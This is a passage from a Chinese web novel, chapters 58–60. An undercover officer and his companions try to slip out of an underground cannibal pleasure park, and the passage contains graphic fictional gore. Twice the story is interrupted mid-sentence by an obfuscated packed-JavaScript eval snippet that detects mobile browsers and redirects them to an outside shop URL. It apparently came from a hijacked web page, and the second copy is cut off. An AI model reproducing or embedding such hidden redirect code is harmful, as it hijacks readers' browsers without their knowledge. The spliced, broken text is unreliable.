他确信他们干得出来,也被揍怕了,下意识护住夏琳,说:“你是警察,怎么瞧着不像好人呢……” 邓烟雨:“随口说说的,你真信?” 公冶:“樽丹有头有脸的都在会所享乐,我要有‘公美’这张盾,至于用底层的身份混进来吗?” 黄毛心存古怪:“她之前分明叫你‘警官’……” 邓烟雨:“情侣之间的小趣味而已,还不让我玩玩了?他也经常叫我‘女王大人’取悦我呢。” 黄毛和夏琳傻登登地去瞅公冶。 空气有些凝重,邓烟雨把头一甩,无视身边人投来的为难的目光。 公冶脸色白了一个度,顶着巨大的羞耻感,努力笑道:“我家女王大人就爱开玩……” “够了够了!受不了你们!”黄毛拼命摆手让他别说了,满腹狐疑地打量这对奇葩,稍作思考,朝夏琳一指,“如果我的条件是,带她走呢?” 58. 娱乐大厅 夏琳闻言一怔。 公冶微微眯眼:“你们不能自由出入?” “可以,但有时间限制,不是绝对自由。夏琳之前偷跑,受到惩罚两年内禁止外出,”黄毛为求舒适盘腿坐着,正色说道,“你们带她走吧。” 夏琳心骂傻瓜,递他一支小银管:“你这是干嘛?” 黄毛扎着针,没精打采地撇嘴:“你不是想去见你未婚夫吗,眼下就是个千载难逢的机会,跟他们走吧,永远别回来。” “哪来的未婚夫,我和他三年没联系了,早就……!”夏琳语塞,气呼呼地扔掉纸巾,“那你怎么办?” “我在这吃香喝辣,过我自己的逍遥日子。” “不行,你也要跟我走,”夏琳抓住他,“金丝雀逃了,你要担全责,盛夺和江邂月不会放过你的。” 黄毛不耐烦地挣开:“你管我死活!” 夏琳急了:“我就要管!” 他们旁若无人地闹起了别扭,邓烟雨不好打岔,脑袋一左一右摆动,头顶淡淡传来一声:“那就成交了。” 公冶脸黑了,他不希望两位再争执下去浪费宝贵的时间,插在裤袋里的手伸出来,扔了两支银管:“再打两针吧,快点把伤恢复了。” 黄毛单手接住,气道:“你以为我不想吗,我这伤拜谁所赐啊!” “对不住了,”他蹲下,“为表歉意,手臂帮你接了吧。” 黄毛心惊:“你要做啥?” 公冶二话不说,握住他脱臼的臂膀——咔! “啊——!”黄毛凄惨地嗷了一声,“好疼,疼死了!哪有这么疼的,我从没见过有求于人还能这么嚣张!” “现在见识到了,”公冶问,“阿豪是怎么上去的,他之前和我说是偷偷出来买‘糖果血’。” “噢,他啊……”黄毛讥笑,“是食姐儿给的卡,你如果愿意,去找个女人睡一觉,哄得她开心了,你也能拿到畅通无阻的‘印玺’,这是最快的法子。” 邓烟雨:“那不行!他不快的!” 公冶:“……”? 黄毛:“……”?? 夏琳咳嗽几声,说:“放心,不到万不得已,我们也没打算用这招。” 三管血下去,黄毛的皮外伤轻松愈合,骨折的几处还需要些许时间。期间他画了张娱乐大厅的草图,标出几条路线。 娱乐大厅分三间正厅,分别是博|彩厅、歌舞厅、主宴厅。这三间互通,也均可通往无门禁的一楼,不过主宴厅是客人“用餐”的高级场所,并配有专人招待服侍,他们不便从这走,歌舞厅有畸形秀,比较瘆人,最后选定了博|彩厅。 “我记得有两条地下密道,其中一条可以直接走出游乐园,除了大食主极少有人知道,你要打听也行,前提是不怕暴露,最稳妥的路线就是走博|彩厅,那挺乱的,适合浑水摸鱼,大食主也不太去,”黄毛盖上马克笔的笔帽,撕了地图丢进垃圾桶,自我介绍说,“我叫阿澄,怎么称呼你?公冶警官?” “别乱叫,”公冶戴上面具,给邓烟雨也戴上,“小八,我名字。” “哦,”阿澄和夏琳看了看对方,软着气势,乖顺喊道,“八哥。” 公冶头皮发麻:“都说了别乱叫。” 夏琳给邓烟雨整理裙子期间,公冶拉过阿澄:“她头上的伤你处理了?” 阿澄愣了下,说:“噢,是啊,我给消毒了,放心,创面不大,那高跟鞋尖成那个样子,戳脑袋上就没命了,这不伸手给挡了一下嘛。” 公冶当时被蝴蝶拦着,还是阿澄离两个女孩近,见温茉起了杀心,顺手给邓烟雨挡了一下,好在蝴蝶也没看见,否则阿澄也要受罚。 公冶:“你当时就知道,盛夺要换人?” 阿澄哧地一笑:“哥们,我在这干多久了,学着点吧。” 出门前,他们看了眼时间,目前是凌晨五点多。 阿澄走在最前,推开雕花玻璃木门,里面是条联络的过道,对面三扇大门华丽紧闭,门口守着不好惹的黑衣保镖,导管耳塞贴于颈侧。 “这么多人?”保镖扫了几眼,在邓烟雨身上停留着,说,“有事?” 阿澄嗯了声,整理袖口:“万斯先生还在吗?” 保镖:“在的,去看秀了。” “啊?去隔壁厅了?”阿澄说,“他叫我带两个人伺候呢。” 保镖们没回应,阿澄冲后面招招手,来到左边的歌舞厅前,门一开,异香扑鼻而来,混合着朦胧的烟味。 “这黑灯瞎火的咋找人啊。”阿澄挥开鼻下的香气。 “少抱怨了,”夏琳嘴上这么说,也掩着鼻子,“你确定是万斯先生要?人没到手,他中途一般不会换厅的。” “你们厉害,”沉默的保镖一说话,四个人齐齐扭头,保镖说,“万斯先生喜欢的,赶紧给了交差吧。” 邓烟雨明显察觉到保镖说这话时,目光坠在自己身上。 阿澄心下挣扎一番,回头,对公冶和邓烟雨说:“跟着我。” 大厅内光线暗沉,音乐吊诡,正在表演畸形秀,抽烟的很多,沙发上闪着数点小火星,T台上有一口笼子正在冉冉升起,一条人鱼侧躺在里面,随着笼子的离开动了动鱼尾,温吞地匍匐几下,昂起头盲目张望。 “受不了别看。” 阿澄沉声嘱咐他们,邓烟雨本来躲在公冶身后,直到靠近前面,人鱼离她太近了,是个年轻的女孩,“啊啊”张着嘴巴,眼睛被挖掉了,以及她的腿—— 是被缝上的。 她空空如也的胃再次翻腾,捂住嘴,去抓公冶的衣摆。 阿澄他们也不好受,但口口声声说来找看秀的万斯,总不能当着保镖的面大喇喇往博|彩厅去。 沙发上倚坐着喝酒聊天的美食家,他们硬着头皮兜了一圈,什么万斯百斯没一个是他,阿澄找到认识的男仆,拍肩问道:“万斯先生搁哪个位置呢?” “嗯?万斯先生?”男仆快看困了,见来了熟人,挺直了背,说,“你搞笑不搞笑,他在博|彩厅啊。” 阿澄气晕了:“门口的混蛋跟我说他来看秀了!” “是来了,听说有人彘就想来尝口鲜,可惜没他喜欢的,回去了,”男仆一指旁边的门,“你们从那边过去吧。” 阿澄拉开侧门,把他们领进博|彩厅。这里金碧辉煌一片吵嚷,花花绿绿的筹码堆积成山,轮|盘里的小球急切跳动,人堆不时爆出大笑或低靡的感叹。 他们就在侧门边上,光线照不到的角落,没人注意。邓烟雨靠着墙大口喘息,公冶轻顺她的背:“你一直憋气?” 邓烟雨点头:“我想吐。” 夏琳:“我去倒杯水,你在这喝掉。”说着往吧台去了。 等邓烟雨喝完水,阿澄也发现了万斯,他没在赌桌上,和一个男人坐在黑皮沙发里,跷着二郎腿谈笑自若。 阿澄看了良久。 “怎么了?”公冶问他。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579311|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “完了……” 阿澄干瞪着前方,喃喃:“他怎么在……” 顺着阿澄的视线望过去,万斯身边的浅发男子十分引人瞩目,他也优雅跷着腿,手持古典鸡尾酒,自然地搁在膝盖上。 他身穿一袭酒红西装,气度不凡,水绿眼眸狭长泛光,精致的面庞具有一种攻击性的美,形象如此雍容华贵,却在眉梢刺了两颗性感的眉钉。 公冶皱眉:“他谁?” 阿澄咽了一口,说:“大食主,江邂月。” “江邂月?”夏琳凑过来,震惊地说,“他今天不是不来的吗!而且他从来不会出现在博|彩厅啊……” 离那么远,公冶依然被他周身的气场隐隐震慑着。 “这人应付不了?” “唔,他反而挺好说话,但他是个施虐狂,”阿澄拉过公冶,“而且他和万斯一个口味,志同道合。” 公冶一时理解不了阿澄的意思。 “他喜欢那款的,”阿澄指了指在一旁放空自己的邓烟雨,“超爱。美食家身高普遍偏高,像邓烟雨这种小巧的特别稀少。” 公冶皱眉:“同类相食?那就不戴美瞳了。” “啧!傻啊你!不戴你怎么出去?拍品要怎么出去?” 公冶:“再凶我一次我就揍你。” 阿澄苦不堪言,抓狂:“啊!你这小子!我语气稍微差了一点嘛!这你也要计较?我真是我真是……哎哟气死我了!”他气得在那大喘气,缓了缓说,“我提醒你一句,你别光顾着人家,也担心担心你自己吧,万斯更喜欢吃长相漂亮的男人,万一你逃不出去……” “你想去枭姐的盘子上待着就直说。” 阿澄瞪他,忍了又忍,咬牙切齿地微笑:“我这是让你做好心理准备嘛,都一条绳上了还能骗你?” 对过出口立了一排保镖,看守森严,阿澄说:“我也希望夏琳尽早脱身,不会坑你们的,相信我。万斯平常这个点就回家了,我是想着让他看上你们,带你们出去,到时候你在外面做了他就成,他不会打架。” 形形色色的人从他们面前路过,公冶说:“不能开一张放行证么?” 地下工作人员如遇单独外出,须出示注明任务的限时放行证,或者有客人提供的金卡。 “老妖人太刁了,”阿澄说,“我们人多,即使不算上我,就你们三个也会被他一眼识破,得不偿失。其实有金卡就好了。” 邓烟雨听见了,说:“大食主给我的金卡被收走了。” 阿澄惭愧地挠头:“还是我亲自收的,给盛夺的男秘了。” “你当时拿着多好,”夏琳帮忙调整邓烟雨脸上歪掉的面具,“有点大,难怪歪了……你们商量好了吗,江邂月在,得慎重决定。” 阿澄考虑半天,夏琳没耐心了:“要不硬闯?” “硬闯?”阿澄指指自己和公冶,“你让我们一个稀美一个珍美,和两个顶美打?” “哪里来的两个顶美,盛夺又不在,万斯一有事就往桌底下钻,”夏琳面不改色,只说,“而且小八打架很厉害,我看顶美都没他出手快。” 阿澄:“他再厉害能厉害过江邂月吗?” 夏琳:“我觉得能。”邓烟雨附和:“我也觉得……” 她忽然不说了,愣愣注视着一个陌生的男仆走向他们。 “聊什么呢,”男仆显然认识阿澄,朝他们跟前一站,亲切露笑,“江先生要你们过去。” 59. 酒徒 琥珀色的酒液在威士忌杯里有规律地晃荡。江邂月手放腿上,细长的指轻轻慢慢敲着,意兴阑珊饮下一口微烈,唇齿间充分弥漫出捣碎的甘苦味。 钟表秒针走过十二点,他在冰块与酒杯的纯净磕碰声中慵懒抬眼,凝视走来的四人。 领头的阿澄一身黑西装,面具下笑容婉约:“江先生,您找我们?” “哦——是我找你们,”坐在单人沙发内的万斯放下二郎腿,手法娴熟地解开衣扣,翠绿的眼睛染上些许笑意,“有新面孔啊。” 阿澄一怔,随即笑道:“是的,今天刚带下来的,我和夏琳负责带他们熟悉场地。” 万斯放下酒,略微歪头要去瞧个清楚,阿澄机灵地让开。 男人和阿澄穿着一致,静默而立,犹如一枝极具欺骗性的无刺黑玫瑰,且有他气质衬托,更显一旁女孩通体的青涩感。 两个都长在万斯的审美点上,他眼神痴迷了,久久没话说。阿澄果然一下就吃准了这位爷的口味。 没来由的,江邂月在满桌寂静里发出轻笑,众人去看他,他自顾自饮酒。 万斯不管他,笑眯眯端起自己的鸡尾酒,递给邓烟雨:“一晚上累了吧?这杯拿去喝。”夏琳见邓烟雨不动作,悄悄推了把,邓烟雨上前一步,控制住发抖的手,接过被万斯尝过的酒。 酒色深沉醇厚,被光折射,她迟迟未递向唇边。 江邂月盯住她,手臂往沙发靠背上一搭,好整以暇地问:“怎么不喝?” “她酒精过敏,”公冶恭声回话,“喝了就起疹,给两位印象不好。” 万斯遗憾地说:“这样……” “女孩子,不能喝黑俄,”江邂月说,“别欺负人家。” “邂月,你这话说的,带偏见了啊,”万斯点点他,“女孩子怎么不能喝黑俄了?我最欣赏喝烈酒的女人,你思想实在老套,不行不行。” 邓烟雨听他批评着,怯生生抬头,刚好撞上万斯投射过来的火热目光。 夏琳的叮嘱犹在耳畔,她立刻腼腆一笑,将酒归还:“不好意思万先生,我不会喝酒,扫您兴了。” 红色假面摇曳生姿,半笼着她甜蜜的笑容,愈发令人怦然心动。 “没事没事,喝不了酒,喝别的也行。”万斯喜欢她软绵绵的嗓音,接过酒杯之际,趁机摸了邓烟雨的手。 “她是我的员工,”江邂月一脸索然无味,“你客气点。” 万斯敷衍着说知道,捏够了,恋恋不舍松开邓烟雨,见她故作受惊地躲回公冶身边,认为这单纯只是一种调情的方式,心情格外愉悦。 江邂月上身前倾,酒杯随手放在公冶面前,看着他说:“你们很熟?” 公冶回答:“我们是兄妹。” 万斯来了兴致,观察他们瞳色,哈哈笑道:“你们父母真会生啊,一个稀美一个珍美,你这做哥哥的从小就很爱护你妹妹吧?” “爱护妹妹,怎么会带她来这,我太没用了,总让妹妹吃苦,”面对万斯满眼的好奇,公冶黯然道来,“父亲公司破产,母亲也遭遇车祸,巨额债务和昂贵的医疗费用都压在肩上,我只能带她出来赚钱……” 邓烟雨:“……”我的天喽! 阿澄也险些没管理好面部表情。 这演技,这轻颤的声线,这欲流不流的眼泪……他不会是个演员吧? 脸这样好看,没错了!他肯定是演员!我就说他眼熟嘛!多半是在哪部电视剧里看过他! 阿澄想笑,使劲憋着气,夏琳恨铁不成钢,用胳膊肘捅了他。 “哎哟,家里出了这样的事啊。”万斯非常吃这一套,一想到他以前是个小少爷,如今流落至此,不知为何更来劲了。 万斯心疼地凑近点:“不容易啊,令堂情况还好吗?” 公冶难受地开口:“目前仍在昏迷中,光重症监护室住一天就要一万。” “一天一万?啧啧,这么烧钱呢……”万斯感同身受一般地叹气,神情饱含怜爱,应该是没看过苦情剧。 江邂月习惯性摸了摸眉钉,也说:“兄妹两个怪可怜的。” 邓烟雨咬紧疯狂上扬的嘴角,扯着公冶的衣摆,仰起头,满脸表现出对哥哥的疼惜。 “你们在这工作,日子过得跟吸血鬼似的,倘若得不到赏识,一天也赚不了几个子儿,老板还是个丧尽天良的禽兽,动辄鸡蛋里挑骨头,心情不好就把你们扔炉子里烧着玩,多残忍呐,”万斯正大光明挖墙脚,“不如跟我干吧,我在樽丹有幢别墅,缺两个管事的,你们来了,我保证开高薪,活也轻松。” 被贬低得一无是处的江老板点燃香烟,语气亵慢:“老万,你隔三差五来我场子上‘觅食’也便罢了,眼下当着我的面撬人,是不是有点过分了?” “瞧你说的,咋俩谁跟谁,回头我补你支好酒!”万斯捶他肩。 “好啊,一人一支,”江邂月将计就计,叼着烟说,“四个人四支,择日不如撞日,你今天就补了吧。” “邂月你糊涂了,我就要两个。” “我再送你两个,”江邂月难得出手慷慨,“你一定要这对兄妹,另外两个也替我收了吧,当然酒是一瓶不能赖。” “凭啥,有你这么做买卖的吗!你这不就是骗酒来了!” “你不愿意?那人归我了,”江邂月起身,个子竟比公冶还高,两根长指夹下香烟,迈到邓烟雨跟前,亲善地笑,“‘小美食家’多稀有啊,用一瓶酒换岂非便宜了你。” “好好好,四瓶就四瓶,我车里有,”万斯招呼一个粉头发的男仆过来,嘴上还说,“但你别忘了,你之前欠了我十瓶。” “嗯?我欠你十瓶?” 万斯跳起来:“好啊,你个混子,吃干抹净便不认账了?是你肚子饿,管我要了十个小美人,说回头送酒谢我,我等了大半个月,你酒送哪去了,我连个鬼影也没见着!” “……啊,”江邂月大脑检索半天,死去的记忆总算诈尸了,“老万,你别介意,这不是最近老爷子那事太多,我给忙忘了,要不这样,酒我不要了,我再赔你十支珍藏的干红,外加那瓶路易十三,你连人带酒无偿抱回家,算我赔礼道歉了,如何?” 路易十三是万斯的心头爱,江邂月手上的还是老酒,一口都足以收买。 万斯开心了,轻哼:“这还差不多。” 说话间,连接主宴厅的侧门陡然被人撞开,惨叫打破赌桌上的热闹,数名男仆与女郎第一时间跑上去按住某个发疯的家伙。 “不要!不要!!” 叫喊的是个白衣女孩,邓烟雨一眼认出她是拍品,可她却抱着一个发疯的美食家大哭,挥开所有伸向他们的手。 公冶视线落在美食家的脸上。 美食家衣着破烂,浑身染血,锁链勒着他暴筋的脖颈,眼珠燃烧着鲜绿鲜绿的火焰,他似乎中了剧毒,痛苦至极地张大嘴巴乞求一丝空气摄入,唾液随着一阵阵痉挛不住流下,利爪把胸口抓得狼藉模糊。 “杀了我们吧,拜托杀了我们吧!” 女孩绝望地流泪,搂住他的脖子,美食家发完疯,人转瞬安静了,活像一具失去光照的丧尸,昂起头颅盲目地东嗅西嗅。搂着自己的唯一活物在颤栗,他张口撕咬下去,鲜血飙了满墙。 他埋头啃噬着再也不动的女孩,颈侧的“ce-495”映入公冶眼底。 “干什么呢,”有个等级高的男仆前来赶人,骂道,“玩疯了是么?江先生今天在场,快点处理掉!” 他们被拖回了主宴厅,仿佛一幕闹剧没头没尾收了场。公冶默不作声目睹完全过程,转了回来,隔着云雾缭绕的烟气,和江邂月短暂交锋了一眼。 烟雾散尽,江邂月捻灭烟头,照常吩咐粉头发男仆:“去五楼取酒,”再对阿澄说,“你们跟去帮忙,等会直接把酒搬上万斯先生的车子,不必回来了。” 阿澄应了。他本打算寻个由头,让夏琳拿卡带邓烟雨和小八出去,没想到江邂月干脆给他们派发了个“全家福大礼包”,双双打包送走了。 说实话,未免有点太过顺利。 而这倒是其次,阿澄和夏琳几乎同一时间将公冶和邓烟雨挡去后面。 那个粉发男仆正是之前弄伤邓烟雨胳膊的人,绰号兔子。他可能是陪着他家食姐儿上来玩,食姐儿休息去了,没叫他跟着伺候,才被万斯喊来。 怎么偏偏是他,他见过邓烟雨和小八,要露馅的! “走吧。”兔子心大,没朝后头看,拿上金卡,先往门口去了。 金色大门重声推开,室外冷气洗礼了一身,邓烟雨借公冶的背挡风,视线沿靛蓝的长地毯,镀金的长栏杆,一寸寸上抬——只见高耸的半球形穹窿顶绘满了西方众神,中心挖了一颗华丽的太阳,玻璃壁画众星捧月环绕着它。 这座雄伟的建筑整体呈柱形,仿佛巨人倒扣的波尔多酒杯,镀金栏杆围成庞大的圆,两边分出阶梯,往下望去,一口深渊黑不见底,泛来风声。 高处正中央有扇直通一楼的大门,兔子走左侧的阶梯上去,一行人随后。公冶觉得身后空落落的,回头发现邓烟雨没跟上。 “小雨。” “来了。”邓烟雨小声应答,蹑手蹑脚追上来。她察觉到公冶情绪不对,主动去牵他的手。 阶梯很宽很长,像走在城堡里,邓烟雨有意放慢步调,落在队伍末尾的他们说起了悄悄话:“你先前说的‘糖果血’是什么东西?” “嗯?”公冶在想别的,反应了几秒才说,“啊,你有看到客人手边放了好几盏水晶小碗么,里面的红色糖果就是‘糖果血’。” 邓烟雨记起来了,每张赌桌上都备着这种鲜红糖果,粒粒莹润,在水晶灯照耀下宛如五光十色的琉璃珠子。 “我以为是石榴籽呢……那‘糖果血’是指比较甜的血吗?” “它是用人血制成的‘糖果’,里面确实添加了糖类物质,算是美食家用来消遣肠胃的餐后甜点,没有正规渠道售卖。” “你吃过吗?” “没吃过,我们不可以吃。” “违法的?” “只有公美禁止食用。” “好可怜哦。” 公冶无奈地看她:“旅游来了?把我当导游打听这些。” 邓烟雨方要回答,手被他一捏,赶紧闭了嘴。 出了一楼大门,有条过渡的走道,两侧矗立着金灿灿的盔甲战士,高举长矛战斧严阵以待,兔子打着哈欠带路,锋利的斧刃悬在上方。 “你们不用上去了,”阿澄一面走一面低声说,“一直往前,穿出教堂外面就是游乐园,夏琳你也先走。” 公冶迟疑地说:“非要这时候?” 夏琳也表示:“会不会太冒险了,我们搬酒下来再走也不迟啊,本来就要去外面的,何必这时候铤而走险?” 阿澄:“万斯是我们的大客户,我猜江邂月会送万斯出去坐车,等会搬酒去车子那更逃不掉了。” 兔子冷不丁转身:“喂,你们走我前面。” 所有人猛然止步,和兔子大眼瞪小眼。 “啊?”阿澄挡在最前头,疑惑地眨巴眼,“我们不认路啊。” “坐电梯啊,认你妈个路,坐电梯会迷路?”兔子按了上升键,另外一只手握着对讲机,电源开关静静亮着。 电梯门在他身后开启。 “上去。”兔子冷眼说道。 空气里轻微爆开火药味,公冶正准备行动,被阿澄一把按住手臂。电梯里涌出不少客人,各个都是翠绿眼睛,肌肉发达,俨如一伙西装暴徒。 几位爷早已喝得醉醺醺,没理睬退到边上鞠躬的他们,聚在走道上谈天说地互诉衷肠,笑得像过年来了。 “我说你们,刚在我后面嘀咕什么呢?”等人走开,兔子直起身,眼神犀利地质问阿澄。 阿澄:“没嘀咕啊。” 又有几个贵气逼人的食姐儿从负一楼过来,要乘电梯,兔子拎开阿澄,堆着笑请她们先进,再对阿澄他们恶狠狠说:“上去!” “……哦。” 阿澄和他平级,被他按着骂十分不爽,却也只能先忍气吞声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦天呐!”食姐儿愣住,拍了拍旁边的姐妹,她们不再捏邓烟雨,纷纷往公冶脸上看,顿时惊呼,“好帅啊!” 她们叫作一团,开始垂涎公冶的美色,又是挽他手臂,又是搭他肩:“小哥你叫什么名字?你几岁呀?还在读大学?” 香水味浓郁得窒息,公冶向阿澄投去求救的眼神,阿澄回以坚定的一眼,然后视若无睹扭过了头。 “……我叫小八。” “哇好可爱的名字!” “你们是兄妹吗?原来你是哥哥呀!” 她们叽叽喳喳吵成一台戏,把兄妹俩里里外外摸了个遍,兔子按着门,重复说着三楼到了,三楼到了!她们不理他,不疾不徐拔出口红在公冶雪白的衣领上留了联系方式,出去时不忘挥着扇子说记得打给我。 邓烟雨也算逃过一劫。 兔子气死了,关上门骂道:“一帮泼妇。” 五楼是大食主接待要客的场所,设有贵宾室,兔子事先得了密码,领着人直奔江邂月的套房。 房间内漆黑一片,兔子熟门熟路往里走,推动一扇暗门,开灯。 江邂月嗜酒如命,除了地下酒窖,自己的密室也挂满各国琳琅名酒。 “墙上的酒取十瓶,你们去隔壁间拿一瓶路易十三,江先生估计放在最大的酒柜里,仔细找找,千万别摔碎了!” 阿澄和公冶去了隔壁间,公冶认得出路易十三酒,毕竟它可是镶了满头的水晶与黄金,很快找到了。 他打开柜门,双手拿出酒,阿澄翻出柜子下面的礼盒,两个人来到空桌子上装酒。阿澄瞅他这副小心劲,好笑地说:“干嘛,想尝一口?” 公冶:“做梦都想。” “哈哈哈哈——”阿澄笑出了声,“说真的,你是大学生吗,我看你年纪好轻。” 公冶:“我工作了。” “演员?” “嗯,演员,满世界跑龙套。” “是么……”阿澄单手撑桌,认真瞧着他放酒,说,“我都三十三了。” 公冶惊讶地抬头:“我以为你和我差不多大,绝世童颜啊。” 阿澄:“谢谢夸奖,可惜我这张绝世童颜被你揍老了一年。” “我那不是揍你。” “净往我脸上打,不是揍我是什么?” “是‘还我漂漂拳’。” 阿澄:“……” 阿澄:“臭小子!!” 他恨不得把公冶塞进酒里:“跟晚辈道个歉有那么难吗!” 于是公冶乖乖道歉了,阿澄这才满意地点头,对着玻璃柜照来照去:“你还别说,我这下巴啊,好像是变得有型了点,感觉有美人沟了。” 公冶不安地看向他,心想自己是不是打到他脑子了。 “江邂月看着也年轻。” “那你就上当了,他老叔叔一个了,”阿澄抱臂畅想,“不过上了年纪的男人就是有魅力啊,我四十岁能有他一半帅就好了……” 公冶包装着礼盒,用最平淡的口吻打破阿澄的幻想:“人家是顶美,你求不来的。” “你就求的来了吗!”阿澄伸手,朝他后脑勺带了一掌,“你对江先生尊敬点吧,人家也不傻,这次是误打误撞放你自由,以后在大街上遇着了,记得恭恭敬敬称他一声‘江理事’。” 礼盒已经包好,公冶的手放在上面,延伸向酒柜的目光不明朗:“诶……江理事么。” 阿澄掂了掂一盒名酒的分量,笑了:“喂,等你哪天发达了,别忘了请我喝路易十三,这酒一辈子喝一次就值了。” “是啊,”公冶感慨道,“现在开了喝?” “你胆子也太大了吧。” “江邂月难道就一瓶路易十三?”公冶笑着怂恿,“不如再找找,找出第二瓶就开了喝,反正我们也不回来了。” 阿澄愣了半晌,拍案叫绝:“好注意!他绝对不止一瓶,我去找!” 公冶还在那出馊主意:“咱们喝剩个底,给他兑水进去,然后原封不动放回老地方……” “哈哈,小八你太坏了!” 两个小坏蛋想尽办法整蛊江邂月,结果酒没找到,邓烟雨和夏琳待的房间突然传来一声钝器击打的闷响。 紧接着,是人体倒地的声音。 他们望向对方,心中大惊,一秒也不敢耽搁,拔腿冲了出去! 60. 杀意 “夏琳!” 阿澄急得不看路,推开门便给地上的不明物体绊了一脚,他哎呀呀惊慌叫着向前猛冲,扑通一声双膝跪地。 公冶跑出来时,就看见阿澄五体投地,在给夏琳拜年,夏琳旁边是脸色略白的邓烟雨,正问着阿澄不要紧吧。 阿澄摔了个大马趴,丢脸丢到太平洋了,手忙脚乱爬起来。夏琳把鞋尖往里收了点,捂笑说:“给我行这么大礼,乖孙儿。” “谁是你孙子!”阿澄气红了脸。公冶跨过昏倒在地的兔子,发现他后脑勺在轻微渗血。 他问夏琳:“你砸的?” 夏琳:“不是我。”说着扬了扬下巴。 公冶后知后觉地看向邓烟雨,邓烟雨抓着水晶烟灰缸,脸色白里透红,公冶一看过来,她慌忙低头,随便找个地方放下沉甸甸的作案工具,嗫嚅:“他认出我了,我情急之下就……” 夏琳摊手:“正当防卫哦,他要伤害邓烟雨,还想杀我交差。” 邓烟雨点头:“我差点没命,还好有夏琳姐助攻。” “是啊是啊,”夏琳在一旁添油加醋,“我说‘看!飞碟!’,这傻兔子真就分神了,烟雨才能砸了他脑袋。” “飞碟……”阿澄瞪着地上不省人事的小白兔,不可思议道,“这货居然信了……” 公冶扳过他脑袋,邓烟雨胆战心惊地问:“他死了吗?” “没,”公冶说,“这点血死不了,一会就醒。” 夏琳:“我们快走吧。阿澄,路易十三拿了没?” 阿澄咂舌:“怎么惦记这酒,想私吞啊?当心江邂月追你到天涯海角。” 夏琳点他脑门上的肿包,阿澄叫疼:“轻点,这就给你拿去,真是比小八还鸡贼。” 夏琳眨眼:“小八又出什么馊主意了?” 公冶在他们交流“到底顺走多少酒比较合适”期间,去了外边客厅。江邂月是个懂情调的人,钟爱浪漫的法式,连一盏壁灯都精雕细琢。 他开窗望了望下面,摘下面具,透了口气。 房间位置不错,身处五楼也能眺望园内的景色,五彩斑斓的游乐设施被凌晨的夜幕覆盖,像睡着了。前方那座大教堂的构造神似长棺,缠绕着华丽而古老的气息,屋顶的十字架仿佛一个人张开双臂在拥抱世界。 “可以看见穹窿顶呢,原来它这么大……啊,那个锥形的尖尖顶,好像睡美人的城堡。” 邓烟雨不知何时冒出来,在他身边“指点江山”,面具也没戴。风掀起了她的长卷发,公冶垂落目光,伸手探她额头。 两个人心照不宣地陷入沉默,公冶的手始终没离开。 温度好高,不降反增,烧得更厉害了。 她竟一字不提,独自忍耐着。 从娱乐大厅出来,公冶一直心神不定。他说:“别吹风了。” 窗一关,风声有如被按了静音键,月色洒落他们一身。邓烟雨陪他在窗口站了一阵,说:“一会儿出去了,我们找家店吃东西吧。” 公冶有点接不上话:“吃东西?” “嗯,我肚子饿了,想吃烤包子,要烤得香喷喷,又脆又油那种,还有红烧羊肉面……对了!我陪你吃烤鱼吧!狮城随便钻进一条巷子,里面的店做的烤鱼都好好吃啊——” 公冶听她绘声绘色描述,配上可爱搞怪的肢体动作,唇角轻轻动了。 真逊啊,还要小雨来安慰自己。 他抬眼,和窗玻璃上疲惫冷厉的自己对望,深吸一口气,迅速收起所有的坏情绪。 公冶转过身来:“带你去,你尽管放开吃,我买单。” 她撒娇地笑着,脸庞感受着他指尖的暖意,神秘兮兮看着他。 “这么看我干嘛,”公冶挑眉,“干什么坏事了?” 她不说话,从背后拿出一样东西,在公冶眼前晃了晃——是部手机。 “我从兔子身上翻到的,他偷偷戴着。” “能开机么?” 手机开机后需要密码解锁,锁屏壁纸是一张女郎端酒走在人海中的照片,邓烟雨和公冶同时露出愣愣的表情—— 即便角度压抑,拍出了虚影,也不妨碍他们通过背影和侧脸,看出照片里的女郎是夏琳。 邓烟雨掩唇轻呼:“兔子喜欢夏琳?阿澄也喜欢夏琳,夏琳还有未婚夫,甚至为了未婚夫逃过一次,哇这是什么复杂的四角恋关系……” 别说邓烟雨,公冶也起了好奇心,不过现在不是吃瓜的时候。 他点开紧急呼叫,拇指悬在拨号界面上没动,邓烟雨疑惑:“不打吗,快点和你同事通个信呀。” 公冶犹豫再三,还是熄了屏:“灯港的警察不靠谱。” GS樽丹分所的公美还在地下玩得乐不思蜀,凭这一点就可以确定指挥官姑息养奸不是一两天的事了。 若非得到上级允准,指挥官哪敢装聋作哑,任由公美知法犯法,这背后的关系与势力,可能庞杂到不止开设一个地下食肉乐园这般简单。 思索至此,公冶突然庆幸飞机落地后没有第一时间和当地同事交接手续。 乱的不是病墟,不是卡萨,统领秩序的机构已经崩塌了——灯港高层到底腐败到了什么程度?他们是否和黑户美串通一气?一通电话过去,他本该信任的同僚会向他施以援手,还是转头给盛夺或江邂月泄密? 这步棋无论落在哪,他都窥不到一线生机。 他索性关机:“还回去吧。” 邓烟雨沮丧地接过它:“我以为能打个电话什么的……” “我是想打,”公冶说,“想给我朋友打电话让他来接我们。” 邓烟雨看墙上的钟:“这个点,你朋友估计睡得正香。” “今晚除夕,”公冶拉上窗帘,“他不一定睡。” 阿澄和夏琳一人抱一盒路易十三出来了。 “你们真带啊。” “分你一盒哈。” 公冶提醒:“但凡后面和江邂月打起来,它就是累赘了。” “你不是做梦都想尝一口?” “兑水是我的底线,真少了一瓶,我想江邂月是不会放过我们的,还是不要惹祸上身了。” 阿澄和夏琳面面相觑,半晌说:“没想到你还有底线。” 公冶:“……” 夏琳:“那我放回去,就拿给万斯的这瓶,装装样子。” 夏琳迅速返回去放酒,出来后朝他们挥手:“走走走,兔子要醒了。” 